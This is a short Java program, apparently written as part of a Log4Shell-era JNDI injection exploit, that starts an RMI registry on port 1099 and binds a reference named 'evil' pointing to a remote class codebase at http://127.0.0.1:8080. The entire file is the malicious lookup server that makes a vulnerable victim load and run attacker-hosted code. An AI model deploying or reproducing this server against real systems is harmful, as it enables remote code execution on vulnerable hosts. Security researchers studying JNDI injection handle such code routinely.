

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @Author: LiuZhen
 * @Created: 2021/12/12 12:31
 * @Description:
 */
public class Main {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        System.out.println("create Rmi registry on port 1099");
        Reference reference = new Reference("Test","Test","http://127.0.0.1:8080");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil",referenceWrapper);
    }
}
